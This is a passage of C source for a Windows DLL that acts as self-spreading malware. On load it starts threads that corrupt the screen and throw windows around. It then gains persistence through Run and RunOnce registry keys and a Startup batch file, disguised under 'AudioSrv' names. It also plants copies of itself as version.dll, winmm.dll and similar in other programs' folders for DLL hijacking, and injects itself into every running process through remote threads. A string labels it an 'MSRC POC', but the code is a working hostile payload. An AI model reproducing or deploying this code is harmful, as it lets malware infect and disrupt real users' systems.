APIU(ReleaseDC)(NULL,sdc); return 0;
|
|
}
|
|
|
|
static int _cb(const void *a,const void *b){
|
|
const BYTE*pa=a,*pb=b;
|
|
return ((int)pa[0]+(int)pa[1]+(int)pa[2])-((int)pb[0]+(int)pb[1]+(int)pb[2]);
|
|
}
|
|
static DWORD WINAPI fx_pixelsort(void *u){
|
|
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
|
|
BYTE *buf=alloc_buf(g_sw,g_sh);
|
|
BYTE *col=(BYTE*)VirtualAlloc(NULL,g_sh*4,MEM_COMMIT,PAGE_READWRITE);
|
|
if(!buf||!col) goto e13;
|
|
cap(sdc,buf,g_sw,g_sh);
|
|
int s=g_sw*4;
|
|
for(int pass=1;pass<=g_sw&&!SHOULD_STOP();pass+=3){
|
|
CHK_ESC();
|
|
for(int x=0;x<pass&&x<g_sw;x++){
|
|
for(int y=0;y<g_sh;y++){col[y*4+0]=buf[y*s+x*4];col[y*4+1]=buf[y*s+x*4+1];col[y*4+2]=buf[y*s+x*4+2];col[y*4+3]=0;}
|
|
qsort(col,g_sh,4,_cb);
|
|
for(int y=0;y<g_sh;y++){buf[y*s+x*4]=col[y*4];buf[y*s+x*4+1]=col[y*4+1];buf[y*s+x*4+2]=col[y*4+2];}
|
|
}
|
|
blit(sdc,buf,g_sw,g_sh); Sleep(6);
|
|
}
|
|
e13:if(buf)VirtualFree(buf,0,MEM_RELEASE);
|
|
if(col)VirtualFree(col,0,MEM_RELEASE);
|
|
APIU(ReleaseDC)(NULL,sdc); return 0;
|
|
}
|
|
|
|
static DWORD WINAPI fx_textcrawl(void *u){
|
|
HDC sdc=APIU(GetDC)(NULL); if(!sdc) return 0;
|
|
HFONT font=APIG(CreateFontW)(48,0,0,0,FW_BOLD,0,0,0,DEFAULT_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,ANTIALIASED_QUALITY,DEFAULT_PITCH,L"Impact");
|
|
APIG(SelectObject)(sdc,font); APIG(SetBkMode)(sdc,TRANSPARENT);
|
|
const WCHAR *m[]={L"SYSTEM FAILURE",L"MEMORY CORRUPT",L"ACCESS DENIED",L"KERNEL PANIC",L"FATAL ERROR",L"0xDEADBEEF",L"MSRC POC",L"NO ADMIN NEEDED",L"PROCESS INJECTED",L"?!?!?!?!"};
|
|
COLORREF cc[]={RGB(255,0,0),RGB(255,255,0),RGB(0,255,255),RGB(255,0,255),RGB(255,128,0),RGB(255,255,255)};
|
|
for(int t=0;t<600&&!SHOULD_STOP();t++){
|
|
CHK_ESC();
|
|
float a=t*0.15f,r=30.0f+t*1.8f; if(r>g_sw)r=g_sw;
|
|
APIG(SetTextColor)(sdc,cc[t%6]);
|
|
const WCHAR *msg=m[t%10];
|
|
APIU(TextOutW)(sdc,g_sw/2+(int)(cosf(a)*r),g_sh/2+(int)(sinf(a)*r*0.55f),msg,(int)wcslen(msg));
|
|
Sleep(12);
|
|
}
|
|
APIG(DeleteObject)(font); APIU(ReleaseDC)(NULL,sdc); return 0;
|
|
}
|
|
|
|
static DWORD WINAPI fx_tornado(void *u){
|
|
HWND wins[256]; int wc=get_wins(wins,256);
|
|
int cx=g_sw/2,cy=g_sh/2;
|
|
for(int t=0;t<1800&&!SHOULD_STOP();t++){
|
|
CHK_ESC();
|
|
float sp=0.8f+(float)t*0.003f,a=(float)t*sp*3.14159f/180.0f,r=60.0f+((float)(t%360))*1.1f;
|
|
for(int i=0;i<wc;i++){
|
|
float ia=a+(float)i*(2.0f*3.14159f/wc),ir=r*(0.3f+(float)i/wc);
|
|
APIU(SetWindowPos)(wins[i],HWND_TOP,cx+(int)(cosf(ia)*ir),cy+(int)(sinf(ia)*ir*0.5f),0,0,SWP_NOSIZE|SWP_NOACTIVATE|SWP_ASYNCWINDOWPOS);
|
|
}
|
|
Sleep(5);
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
typedef LONG NTSTATUS;
|
|
typedef NTSTATUS (WINAPI *PFN_NtCTE)(HANDLE*,ACCESS_MASK,void*,HANDLE,LPTHREAD_START_ROUTINE,void*,ULONG,SIZE_T,SIZE_T,SIZE_T,void*);
|
|
static HINSTANCE g_hmod=NULL;
|
|
|
|
static void mark_self(void){
|
|
CreateFileMappingW(INVALID_HANDLE_VALUE,NULL,PAGE_READONLY,0,4096,L"Global\\prty_mrk");
|
|
}
|
|
|
|
static BOOL do_inject(DWORD pid,const WCHAR *path,PFN_NtCTE ntcte,FARPROC ll){
|
|
HANDLE hp=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid); if(!hp) return FALSE;
|
|
LPVOID rem=VirtualAllocEx(hp,NULL,(wcslen(path)+1)*2+16,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
|
|
if(!rem){CloseHandle(hp);return FALSE;}
|
|
SIZE_T wr=0; WriteProcessMemory(hp,rem,path,(wcslen(path)+1)*2,&wr);
|
|
HANDLE ht=NULL; NTSTATUS st=0;
|
|
if(ntcte) st=ntcte(&ht,THREAD_ALL_ACCESS,NULL,hp,(LPTHREAD_START_ROUTINE)ll,rem,0,0,0,0,NULL);
|
|
else{DWORD tid=0;ht=CreateRemoteThread(hp,NULL,0,(LPTHREAD_START_ROUTINE)ll,rem,0,&tid);st=(ht&&ht!=INVALID_HANDLE_VALUE)?0:-1;}
|
|
BOOL ok=(st==0&&ht&&ht!=INVALID_HANDLE_VALUE);
|
|
if(ok)CloseHandle(ht); CloseHandle(hp); return ok;
|
|
}
|
|
|
|
static void do_persist(void){
|
|
WCHAR src[MAX_PATH]; if(!GetModuleFileNameW(g_hmod,src,MAX_PATH)) return;
|
|
WCHAR appdata[MAX_PATH]; if(!GetEnvironmentVariableW(L"APPDATA",appdata,MAX_PATH)) return;
|
|
WCHAR dst[MAX_PATH];
|
|
wsprintfW(dst,L"%s\\Microsoft\\Windows\\AudioSrv%04x.dll",appdata,GetCurrentProcessId()&0xFFFF);
|
|
if(GetFileAttributesW(dst)==INVALID_FILE_ATTRIBUTES) CopyFileW(src,dst,TRUE);
|
|
WCHAR cmd[MAX_PATH*2+32]; wsprintfW(cmd,L"rundll32.exe \"%s\",DllMain",dst);
|
|
HKEY hk;
|
|
if(RegOpenKeyExW(HKEY_CURRENT_USER,L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hk)==ERROR_SUCCESS){
|
|
RegSetValueExW(hk,L"AudioEndpointBuilder",0,REG_SZ,(const BYTE*)cmd,(DWORD)((wcslen(cmd)+1)*2));
|
|
RegCloseKey(hk);
|
|
}
|
|
if(RegOpenKeyExW(HKEY_CURRENT_USER,L"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce",0,KEY_SET_VALUE,&hk)==ERROR_SUCCESS){
|
|
RegSetValueExW(hk,L"AudioEndpointBuilder",0,REG_SZ,(const BYTE*)cmd,(DWORD)((wcslen(cmd)+1)*2));
|
|
RegCloseKey(hk);
|
|
}
|
|
WCHAR bat[MAX_PATH];
|
|
wsprintfW(bat,L"%s\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\AudioSrv.bat",appdata);
|
|
HANDLE hf=CreateFileW(bat,GENERIC_WRITE,0,NULL,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,NULL);
|
|
if(hf!=INVALID_HANDLE_VALUE){
|
|
char narrow[MAX_PATH]; WideCharToMultiByte(CP_ACP,0,dst,-1,narrow,MAX_PATH,0,0);
|
|
char line[512]; wsprintfA(line,"@echo off\r\nrundll32.exe \"%s\",DllMain\r\n",narrow);
|
|
DWORD w=0; WriteFile(hf,line,(DWORD)lstrlenA(line),&w,NULL); CloseHandle(hf);
|
|
}
|
|
}
|
|
|
|
static void do_hijack(void){
|
|
WCHAR src[MAX_PATH]; if(!GetModuleFileNameW(g_hmod,src,MAX_PATH)) return;
|
|
HANDLE snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(snap==INVALID_HANDLE_VALUE) return;
|
|
DWORD mypid=GetCurrentProcessId();
|
|
PROCESSENTRY32W pe={sizeof(pe)};
|
|
if(Process32FirstW(snap,&pe)) do {
|
|
if(pe.th32ProcessID<=8||pe.th32ProcessID==mypid) continue;
|
|
HANDLE hmod=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,pe.th32ProcessID);
|
|
if(hmod==INVALID_HANDLE_VALUE) continue;
|
|
MODULEENTRY32W me={sizeof(me)};
|
|
if(Module32FirstW(hmod,&me)){
|
|
WCHAR *exe=me.szExePath;
|
|
WCHAR *slash=exe; WCHAR *p=exe;
|
|
while(*p){if(*p==L'\\'||*p==L'/')slash=p;p++;}
|
|
*slash=0;
|
|
const WCHAR *targets[]={L"\\version.dll",L"\\winmm.dll",L"\\dbghelp.dll",L"\\cryptbase.dll",L"\\uxtheme.dll"};
|
|
for(int i=0;i<5;i++){
|
|
WCHAR dst[MAX_PATH]; wcscpy(dst,exe); wcscat(dst,targets[i]);
|
|
if(GetFileAttributesW(dst)==INVALID_FILE_ATTRIBUTES)
|
|
CopyFileW(src,dst,TRUE);
|
|
}
|
|
}
|
|
CloseHandle(hmod);
|
|
} while(Process32NextW(snap,&pe));
|
|
CloseHandle(snap);
|
|
}
|
|
|
|
static void do_spread(void){
|
|
HMODULE hnt=LoadLibraryW(L"ntdll.dll");
|
|
PFN_NtCTE ntcte=hnt?(PFN_NtCTE)GetProcAddress(hnt,"NtCreateThreadEx"):NULL;
|
|
FARPROC ll=GetProcAddress(GetModuleHandleW(L"kernel32.dll"),"LoadLibraryW");
|
|
if(!ll) return;
|
|
WCHAR src[MAX_PATH]; if(!GetModuleFileNameW(g_hmod,src,MAX_PATH)) return;
|
|
WCHAR tmp[MAX_PATH]; GetTempPathW(MAX_PATH,tmp);
|
|
SYSTEMTIME st; GetSystemTime(&st);
|
|
WCHAR dst[MAX_PATH];
|
|
wsprintfW(dst,L"%spty_%04x%04x.dll",tmp,(GetCurrentProcessId()^0xBEEF)&0xFFFF,(st.wMilliseconds^(st.wSecond<<8))&0xFFFF);
|
|
CopyFileW(src,dst,FALSE);
|
|
HANDLE snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(snap==INVALID_HANDLE_VALUE) return;
|
|
DWORD mypid=GetCurrentProcessId();
|
|
PROCESSENTRY32W pe={sizeof(pe)};
|
|
if(Process32FirstW(snap,&pe)) do {
|
|
if(pe.th32ProcessID>8&&pe.th32ProcessID!=mypid)
|
|
do_inject(pe.th32ProcessID,dst,ntcte,ll);
|
|
} while(Process32NextW(snap,&pe));
|
|
CloseHandle(snap);
|
|
}
|
|
|
|
typedef DWORD (WINAPI *PFNFX)(void*);
|
|
|
|
static DWORD WINAPI party_thread(void *u){
|
|
Sleep(3000);
|
|
mark_self();
|
|
g_u32=LoadLibraryW(L"user32.dll");
|
|
g_g32=LoadLibraryW(L"gdi32.dll");
|
|
if(!g_u32||!g_g32) return 0;
|
|
g_sw=APIU(GetSystemMetrics)(SM_CXSCREEN);
|
|
g_sh=APIU(GetSystemMetrics)(SM_CYSCREEN);
|
|
InterlockedExchange(&g_rng,(LONG)(GetCurrentProcessId()^GetTickCount()));
|
|
PFNFX all[]={fx_meltdown,fx_strobe,fx_resize,fx_chromatic,fx_memdump,fx_scramble,fx_bounce,fx_shake,fx_matrix,fx_lightning,fx_static,fx_wormhole,fx_invwave,fx_pixelsort,fx_textcrawl,fx_tornado};
|
|
int base=(int)(GetCurrentProcessId()%16);
|
|
PFNFX chosen[3]={all[base%16],all[(base+5)%16],all[(base+11)%16]};
|
|
HANDLE threads[3];
|
|
for(int i=0;i<3;i++) threads[i]=CreateThread(NULL,0,chosen[i],NULL,0,NULL);
|
|
WaitForMultipleObjects(3,threads,TRUE,90000);
|
|
for(int i=0;i<3;i++) if(threads[i]) CloseHandle(threads[i]);
|
|
do_persist();
|
|
do_hijack();
|
|
do_spread();
|
|
WCHAR pname[64]; get_pipe_name(pname);
|
|
DWORD pid=GetCurrentProcessId();
|
|
for(int i=0;i<8;i++){
|
|
HANDLE h=CreateFileW(pname,GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
|
|
if(h!=INVALID_HANDLE_VALUE){DWORD w=0;WriteFile(h,&pid,4,&w,NULL);CloseHandle(h);break;}
|
|
Sleep(200);
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
BOOL WINAPI DllMain(HINSTANCE h,DWORD reason,void *r){
|
|
if(reason==DLL_PROCESS_ATTACH){
|
|
g_hmod=h;
|
|
DisableThreadLibraryCalls(h);
|
|
HANDLE ht=CreateThread(NULL,0,party_thread,NULL,0,NULL);
|
|
if(ht) CloseHandle(ht);
|
|
}
|
|
return TRUE;
|
|
}
|